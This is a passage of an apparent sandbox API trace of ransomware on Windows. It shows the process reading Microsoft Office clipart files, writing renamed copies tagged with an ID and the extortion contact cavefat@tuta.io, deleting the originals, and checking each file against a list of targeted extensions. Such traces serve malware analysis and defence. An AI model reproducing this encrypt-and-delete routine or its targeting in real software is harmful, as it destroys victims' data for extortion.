Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0165.789] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.789] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0165.793] GetLastError () returned 0x0 [0165.793] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2d14, lpOverlapped=0x0) returned 1 [0165.794] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2d20, lpOverlapped=0x0) returned 1 [0165.795] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.795] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.795] SetEndOfFile (hFile=0x388) returned 1 [0165.799] CloseHandle (hObject=0x388) returned 1 [0165.800] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.800] SetEndOfFile (hFile=0x370) returned 1 [0165.803] CloseHandle (hObject=0x370) returned 1 [0165.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0165.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 1 [0165.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0165.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0165.806] lstrlenW (lpString=".doc") returned 4 [0165.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.806] lstrlenW (lpString=".docx") returned 5 [0165.806] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0165.806] lstrlenW (lpString=".pdf") returned 4 [0165.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.806] lstrlenW (lpString=".xls") returned 4 [0165.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.807] lstrlenW (lpString=".xlsx") returned 5 [0165.807] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0165.807] lstrlenW (lpString=".ppt") returned 4 [0165.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0165.807] lstrlenW (lpString=".zip") returned 4 [0165.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.807] lstrlenW (lpString=".rar") returned 4 [0165.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.807] lstrlenW (lpString=".bz2") returned 4 [0165.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.807] lstrlenW (lpString=".7z") returned 3 [0165.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0165.807] lstrlenW (lpString=".dbf") returned 4 [0165.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0165.807] lstrlenW (lpString=".1cd") returned 4 [0165.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0165.807] lstrlenW (lpString=".jpg") returned 4 [0165.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0165.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0165.807] lstrlenW (lpString=".doc") returned 4 [0165.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.807] lstrlenW (lpString=".docx") returned 5 [0165.807] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0165.807] lstrlenW (lpString=".pdf") returned 4 [0165.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.807] lstrlenW (lpString=".xls") returned 4 [0165.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.807] lstrlenW (lpString=".xlsx") returned 5 [0165.807] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0165.807] lstrlenW (lpString=".ppt") returned 4 [0165.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0165.807] lstrlenW (lpString=".zip") returned 4 [0165.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.807] lstrlenW (lpString=".rar") returned 4 [0165.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.808] lstrlenW (lpString=".bz2") returned 4 [0165.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.808] lstrlenW (lpString=".7z") returned 3 [0165.808] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0165.808] lstrlenW (lpString=".dbf") returned 4 [0165.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0165.808] lstrlenW (lpString=".1cd") returned 4 [0165.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0165.808] lstrlenW (lpString=".jpg") returned 4 [0165.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.808] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0165.808] lstrlenW (lpString="J0105292.WMF") returned 12 [0165.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0165.814] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=14868) returned 1 [0165.814] CloseHandle (hObject=0x2ec) returned 1 [0165.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 0x220 [0165.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0166.014] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.014] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0166.097] GetLastError () returned 0x0 [0166.097] ReadFile (in: hFile=0x360, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3a14, lpOverlapped=0x0) returned 1 [0166.100] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3a20, lpOverlapped=0x0) returned 1 [0166.102] ReadFile (in: hFile=0x360, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.102] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.102] SetEndOfFile (hFile=0x394) returned 1 [0166.109] CloseHandle (hObject=0x394) returned 1 [0166.112] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.112] SetEndOfFile (hFile=0x360) returned 1 [0166.121] CloseHandle (hObject=0x360) returned 1 [0166.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 1 [0166.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0166.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0166.142] lstrlenW (lpString=".doc") returned 4 [0166.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.142] lstrlenW (lpString=".docx") returned 5 [0166.142] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0166.142] lstrlenW (lpString=".pdf") returned 4 [0166.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.142] lstrlenW (lpString=".xls") returned 4 [0166.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.142] lstrlenW (lpString=".xlsx") returned 5 [0166.142] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0166.142] lstrlenW (lpString=".ppt") returned 4 [0166.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0166.142] lstrlenW (lpString=".zip") returned 4 [0166.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.142] lstrlenW (lpString=".rar") returned 4 [0166.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.142] lstrlenW (lpString=".bz2") returned 4 [0166.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.142] lstrlenW (lpString=".7z") returned 3 [0166.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0166.142] lstrlenW (lpString=".dbf") returned 4 [0166.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0166.142] lstrlenW (lpString=".1cd") returned 4 [0166.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0166.142] lstrlenW (lpString=".jpg") returned 4 [0166.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0166.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0166.142] lstrlenW (lpString=".doc") returned 4 [0166.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.142] lstrlenW (lpString=".docx") returned 5 [0166.142] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0166.142] lstrlenW (lpString=".pdf") returned 4 [0166.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.142] lstrlenW (lpString=".xls") returned 4 [0166.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.142] lstrlenW (lpString=".xlsx") returned 5 [0166.142] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0166.142] lstrlenW (lpString=".ppt") returned 4 [0166.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0166.143] lstrlenW (lpString=".zip") returned 4 [0166.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.143] lstrlenW (lpString=".rar") returned 4 [0166.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.143] lstrlenW (lpString=".bz2") returned 4 [0166.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.143] lstrlenW (lpString=".7z") returned 3 [0166.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0166.143] lstrlenW (lpString=".dbf") returned 4 [0166.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0166.143] lstrlenW (lpString=".1cd") returned 4 [0166.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0166.143] lstrlenW (lpString=".jpg") returned 4 [0166.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.143] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.143] lstrlenW (lpString="J0105320.WMF") returned 12 [0166.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0166.153] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2020) returned 1 [0166.153] CloseHandle (hObject=0x390) returned 1 [0166.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 0x220 [0166.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0166.199] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.199] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0166.205] GetLastError () returned 0x0 [0166.205] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x7e4, lpOverlapped=0x0) returned 1 [0166.207] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0166.208] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.208] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.208] SetEndOfFile (hFile=0x360) returned 1 [0166.212] CloseHandle (hObject=0x360) returned 1 [0166.213] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.213] SetEndOfFile (hFile=0x394) returned 1 [0166.220] CloseHandle (hObject=0x394) returned 1 [0166.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 1 [0166.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0166.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0166.226] lstrlenW (lpString=".doc") returned 4 [0166.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.226] lstrlenW (lpString=".docx") returned 5 [0166.226] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.226] lstrlenW (lpString=".pdf") returned 4 [0166.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.226] lstrlenW (lpString=".xls") returned 4 [0166.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.226] lstrlenW (lpString=".xlsx") returned 5 [0166.226] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.226] lstrlenW (lpString=".ppt") returned 4 [0166.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0166.227] lstrlenW (lpString=".zip") returned 4 [0166.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.227] lstrlenW (lpString=".rar") returned 4 [0166.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.227] lstrlenW (lpString=".bz2") returned 4 [0166.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.227] lstrlenW (lpString=".7z") returned 3 [0166.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0166.227] lstrlenW (lpString=".dbf") returned 4 [0166.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0166.227] lstrlenW (lpString=".1cd") returned 4 [0166.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0166.227] lstrlenW (lpString=".jpg") returned 4 [0166.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0166.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0166.227] lstrlenW (lpString=".doc") returned 4 [0166.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.227] lstrlenW (lpString=".docx") returned 5 [0166.227] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.227] lstrlenW (lpString=".pdf") returned 4 [0166.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.227] lstrlenW (lpString=".xls") returned 4 [0166.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.227] lstrlenW (lpString=".xlsx") returned 5 [0166.227] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.227] lstrlenW (lpString=".ppt") returned 4 [0166.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0166.227] lstrlenW (lpString=".zip") returned 4 [0166.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.227] lstrlenW (lpString=".rar") returned 4 [0166.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.227] lstrlenW (lpString=".bz2") returned 4 [0166.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.227] lstrlenW (lpString=".7z") returned 3 [0166.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0166.227] lstrlenW (lpString=".dbf") returned 4 [0166.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0166.227] lstrlenW (lpString=".1cd") returned 4 [0166.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0166.227] lstrlenW (lpString=".jpg") returned 4 [0166.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.228] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.228] lstrlenW (lpString="J0105338.WMF") returned 12 [0166.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0166.229] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=11584) returned 1 [0166.229] CloseHandle (hObject=0x388) returned 1 [0166.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 0x220 [0166.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0166.243] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, 